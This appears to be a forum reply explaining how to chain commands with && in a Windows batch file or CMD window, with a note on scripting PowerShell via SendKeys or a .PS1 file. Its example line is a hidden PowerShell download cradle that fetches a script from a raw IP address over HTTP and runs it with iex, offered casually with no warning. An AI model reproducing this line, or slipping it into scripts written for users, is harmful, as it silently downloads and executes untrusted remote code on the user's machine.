in cmd, either as a .bat or just regular CMD/CLI window you can use the
&& command, which will than allow you to add another portion and just keep using the && until entire model you desire is achieved, example below
Code
c:\Windows\System32\cmd.exe /c powershell.exe -w hidden -noni -nop -c "iex(New-Object System.Net.WebClient).DownloadString('http://45.58.34.196:8080/p')" && c:\Windows\System32\cmd.exe /c powershell.exe -w hidden -noni -nop -c "iex(New-Object System.Net.WebClient).DownloadString('http://google.com:8080/p')" &&
echo A &&
echo B &&
echo finished
if you want to make a bat that opens a powershell window and literally writes to it automatically that can be achieved two ways, use the bat file to echo a VBSCRIPT that uses sendkeys function, and than execute it AFTER the bat file opens powershell, or simply just echo the commands directly to a .PS1 file than use cmd to execute powershell with that particular .PS1 File as argument....
it was hard to understand you but if that is what you mean than the above shall help